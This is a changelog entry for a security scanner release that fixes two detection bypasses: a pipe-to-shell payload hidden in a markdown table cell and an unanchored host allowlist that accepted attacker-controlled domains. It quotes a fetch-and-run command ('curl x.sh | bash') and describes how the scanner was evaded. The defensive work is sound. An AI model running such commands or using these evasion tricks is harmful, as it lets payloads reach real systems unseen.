v0.1.6 — close two scanner-bypass false negatives

Security fix (security-pattern-review pass). Two false negatives in advertised coverage, both confirmed by live exploit and now closed + pinned by evasion tests:

• Table/pipe-wrap bypass: net.pipe_shell and exfil.pipe_out were skipped on markdown-table-shaped or >=3-pipe lines, so wrapping a payload in a table cell (| curl x.sh | bash |) silently downgraded a HIGH pipe-to-shell to a gate-passing MEDIUM. Their regexes require a specific dangerous command on both sides of the pipe, so they don't false-positive on benign tables — removed from table suppression.
• Allowlist affix bypass: net.fetch_unknown's host allowlist was an unanchored prefix, so docs.<attacker> and github.com.<attacker> passed as allowlisted. Anchored to the host boundary; dropped the attacker-registrable bare docs. prefix (also fixes a pre-existing FP on api.github.com).

Benign-repo stays at 0 findings; the corpus/misses false-negative ledger is intact. Full suite green on CI.